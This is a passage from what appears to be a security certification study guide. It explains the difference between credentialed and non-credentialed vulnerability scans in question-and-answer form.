A credentialed scan is given a user account with logon rights to various hosts, plus whatever other permissions are appropriate for the testing routines. This sort of test allows much more in-depth analysis, especially in detecting when applications or security settings may be misconfigured. It also shows what an insider attack, or one where the attacker has compromised a user account, may be able to achieve. A credentialed scan is a more intrusive type of scan than non-credentialed scanning.

Question 67

What is a non-credentialed scan?

Answer 67

A non-credentialed scan is one that proceeds by directing test packets at a host without being able to log on to the OS or application. The view obtained is the one that the host exposes to an unprivileged user on the network. The test routines may be able to include things such as using default passwords for service accounts and device management interfaces, but they are not given privileged access.